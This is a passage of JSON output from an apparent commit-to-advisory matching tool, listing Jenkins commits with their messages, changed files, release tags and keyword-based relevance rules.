"jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8815", - "relevance": 2 - } - ] - }, - { - "commit_id": "f06a954ea4ef114ff30612f6d4c21be53364aeaf", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704241462, - "hunks": 2, - "message": "allow to change the icon size of the node overview table (#8802) make icon size of node overview page changeable similar to the list of projects on the start page of Jenkins the icon size of the overview page of nodes can now be changed.", - "changed_files": [ - "core/src/main/resources/hudson/model/ComputerSet/index.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8802": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8802", - "relevance": 2 - } - ] - }, - { - "commit_id": "3a92445c2bc80a4c9e7c6fdf87731be109851405", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703757583, - "hunks": 6, - "message": "[JENKINS-72370][JENKINS-11889] fix SimpleScheduledRetentionStrategy with inbound agents (#8717) by implementing `isAcceptingTasks` the availability strategy ensures that no builds can start when the agent should not do anything. The current behaviour with an inbound agent is that the strategy disconnects the agent, just to get connected again by the agents java process followed by a disconnection a minute later and so on. After it is connected, the agent is actually accepting tasks. Additionally the change will only disconnect the agent when the controller the controller can itself launch the agent, this means inbound agents are not connected, to avoid playing jojo. The agent will just not accept new tasks for execution. The change also avoids the problem in [JENKINS-11889] for outbound agents where the accepting tasks of an agents seems to be not reset when changing the availability strategy to always on.", - "changed_files": [ - "core/src/main/java/hudson/slaves/SimpleScheduledRetentionStrategy.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8717": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: follow, controller", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8717", - "relevance": 2 - } - ] - }, - { - "commit_id": "a82293567f965c793dbef71be6e4522c1903cd0e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702975411, - "hunks": 9, - "message": "[JENKINS-71578] allow making sidepanel sticky (#8269)", - "changed_files": [ - "core/src/main/resources/hudson/PluginManager/sidepanel.jelly", - "core/src/main/resources/hudson/model/Job/configure.jelly", - "core/src/main/resources/lib/layout/layout.jelly", - "core/src/main/resources/lib/layout/side-panel.jelly", - "war/src/main/js/section-to-sidebar-items.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8269": "Move app bar for plugins #8376" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8269", - "relevance": 2 - } - ] - }, - { - "commit_id": "7258cad41408a35590ab85ab28cad9e9ffe4aeda", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702920108, - "hunks": 29, - "message": "[JENKINS-72371] rework node monitor configuration (#8719) * [JENKINS-72371] rework node monitor configuration This PR reworks the way node monitors are configured. It ensures that also monitors which are set to ignored, can be configured. Previously, there was a checkbox before each monitor, where the behaviour was not totally clear. It meant that the monitor is ignored but still collecting data and not disabled as one might think. But when the monitor was disabled any configuration was lost and default values were used. * improve description * fix formatting * add since", - "changed_files": [ - "core/src/main/java/hudson/model/ComputerSet.java", - "core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java", - "core/src/main/java/hudson/node_monitors/ArchitectureMonitor.java", - "core/src/main/java/hudson/node_monitors/ClockMonitor.java", - "core/src/main/java/hudson/node_monitors/NodeMonitor.java", - "core/src/main/java/hudson/node_monitors/ResponseTimeMonitor.java", - "core/src/main/java/hudson/node_monitors/SwapSpaceMonitor.java", - "core/src/main/resources/hudson/model/ComputerSet/configure.jelly", - "core/src/main/resources/hudson/model/ComputerSet/configure.properties", - "core/src/main/resources/hudson/node_monitors/ArchitectureMonitor/help.html", - "core/src/main/resources/hudson/node_monitors/ClockMonitor/help.html", - "core/src/main/resources/hudson/node_monitors/NodeMonitor/configure.jelly", - "core/src/main/resources/hudson/node_monitors/NodeMonitor/help-ignored.html", - "core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/help.html", - "core/src/main/resources/hudson/node_monitors/SwapSpaceMonitor/help.html" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8719": "Test rework node monitor configuration jenkinsci/acceptance-test-harness#1443" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: disable", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8719", - "relevance": 2 - } - ] - }, - { - "commit_id": "0a7ab5f06eee33802b518f83bf8b8969155ae464", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702497661, - "hunks": 4, - "message": "[JENKINS-72157] ensure uptime is independent of system clock (#8771)", - "changed_files": [ - "core/src/main/java/jenkins/model/Uptime.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8771": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8771", - "relevance": 2 - } - ] - }, - { - "commit_id": "38d31c1751f582eccf85feb2c66eb0eeb3b6e77b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702497608, - "hunks": 8, - "message": "[JENKINS-60866][JENKINS-71051][JENKINS-71048] Un-inline 'Build Now' JS (#7635) * [JENKINS-60866] Un-inline 'Build Now' JS * Fix formatting * Use MorphTagLibrary to simplify API * Update docs for l:task attributes * This is a collosal waste of time Copied from 8aee10ea8a1c03c71868bd116e08efa1c9bbc1af, this is just stupid * Rename adjunct file, restructure to work around broken formatter * Exclude all documented attributes except data-* * Fix onclick behavior * Address review feedback --------- Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/resources/lib/hudson/project/configurable.jelly", - "core/src/main/resources/lib/hudson/project/configurable/configurable.js", - "core/src/main/resources/lib/layout/task.jelly", - "core/src/main/resources/lib/layout/task/task.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "7635": "[JENKINS-49138] Build Now to redirect to new build #7633" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 7635", - "relevance": 2 - } - ] - }, - { - "commit_id": "6fcfb189060c74f05c3d193e013b84acc67fff58", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1702494805, - "hunks": 69, - "message": "Update dependency stylelint to v16 (#8767) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes ", - "changed_files": [ - "war/package.json", - "war/src/main/scss/components/_row-selection-controller.scss", - "war/src/main/scss/form/_layout.scss", - "war/src/main/scss/form/_search-bar.scss", - "war/src/main/scss/pages/_icon-legend.scss", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8767": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: controller", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8767", - "relevance": 2 - } - ] - }, - { - "commit_id": "0f0d81b306c6452621f29bd3b0493662e12ef009", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701757659, - "hunks": 1, - "message": "Add `ExtensionList.lookupFirst` convenience method. (#8735) * Add `ExtensionList.lookupFirst` convenience method. When introducing an extension point that is meant to allow overriding a default behaviour with another implementation, generally the caller only cares about looking up only one implementation, the one with the highest ordinal. * Fix javadoc Co-authored-by: Jesse Glick --------- Co-authored-by: Jesse Glick ", - "changed_files": [ - "core/src/main/java/hudson/ExtensionList.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8735": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8735", - "relevance": 2 - } - ] - }, - { - "commit_id": "c637d4168ef41170908ddf0f967d70af1e8e5c4e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701677770, - "hunks": 4, - "message": "make displayname of HistoryWidget configurable for alternate text (#8740) make displayname of HistoryWidget configurable for use with customizable-build-now plugin make the placeholder for the history filter less specific, the title already explains what this shows so just `Filter...` should be enough.", - "changed_files": [ - "core/src/main/java/hudson/widgets/HistoryWidget.java", - "core/src/main/resources/hudson/widgets/HistoryWidget/index.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8740": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8740", - "relevance": 2 - } - ] - }, - { - "commit_id": "5bd48ebcd045865529216b9c93f34aa2d6a04a1f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701440845, - "hunks": 1, - "message": "Update dependency org.apache.maven:maven-core to v3.9.6 (#8734) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - ".gitpod/Dockerfile" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8734": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8734", - "relevance": 2 - } - ] - }, - { - "commit_id": "1f95b095187b80145a7972ceb5ae981ae767e33d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701113803, - "hunks": 50, - "message": "Use symbols for build status (#8705) * Init * Rename ID * Fix icon position * Fix app bar build status icon being incorrect * Address missed icons --------- Co-authored-by: Alexander Brandes ", - "changed_files": [ - ".editorconfig", - "core/src/main/resources/hudson/model/AbstractBuild/index.jelly", - "core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly", - "core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js", - "core/src/main/resources/hudson/model/Job/index.jelly", - "core/src/main/resources/hudson/model/Run/statusIcon.jelly", - "core/src/main/resources/hudson/views/StatusColumn/column.jelly", - "core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly", - "core/src/main/resources/jenkins/model/Jenkins/_legend.jelly", - "core/src/main/resources/lib/hudson/buildCaption.jelly", - "core/src/main/resources/lib/hudson/buildLink.jelly", - "core/src/main/resources/lib/hudson/buildListTable.jelly", - "core/src/main/resources/lib/hudson/jobLink.jelly", - "core/src/main/resources/lib/hudson/projectView.jelly", - "war/src/main/resources/images/symbols/status-aborted-anime.svg", - "war/src/main/resources/images/symbols/status-aborted.svg", - "war/src/main/resources/images/symbols/status-blue-anime.svg", - "war/src/main/resources/images/symbols/status-blue.svg", - "war/src/main/resources/images/symbols/status-disabled-anime.svg", - "war/src/main/resources/images/symbols/status-disabled.svg", - "war/src/main/resources/images/symbols/status-nobuilt-anime.svg", - "war/src/main/resources/images/symbols/status-nobuilt.svg", - "war/src/main/resources/images/symbols/status-red-anime.svg", - "war/src/main/resources/images/symbols/status-red.svg", - "war/src/main/resources/images/symbols/status-yellow-anime.svg", - "war/src/main/resources/images/symbols/status-yellow.svg", - "war/src/main/scss/base/_style.scss", - "war/src/main/scss/components/_app-bar.scss", - "war/src/main/scss/components/_side-panel-widgets.scss", - "war/src/main/scss/pages/_dashboard.scss" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8705": "Test core/8705 jenkinsci/acceptance-test-harness#1427 Update dependency org.jenkins-ci.main:jenkins-war to v2.434 jenkinsci/bom#2704 AggregatedTestResultPublisherTest fails with Jenkins 2.434 jenkinsci/junit-plugin#588 Remove JUnit plugin AggregatedTestResultPublisherTest exclusion jenkinsci/bom#2705 \"Aborted\" icon is almost invisible jenkinsci/dark-theme-plugin#399 make it compatible with 2.401.1 jenkins jenkinsci/pipeline-agent-build-history-plugin#14 [JENKINS-72711] Restore progress animation in build history and buildtime trend views #8966 Remove icon from reference link as it is broken in core again jenkinsci/warnings-ng-plugin#1697" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.434", - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: disable", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8705", - "relevance": 2 - } - ] - }, - { - "commit_id": "6fa01b735446f5c9778c936f4bd5ad1973c59205", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1711066442, - "hunks": 1, - "message": "Bump org.jenkins-ci:jenkins from 1.111 to 1.112 (#9058)", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9058": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "0eed048866cd4fad50531c9396a419172ee84edb" - ] - ], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": 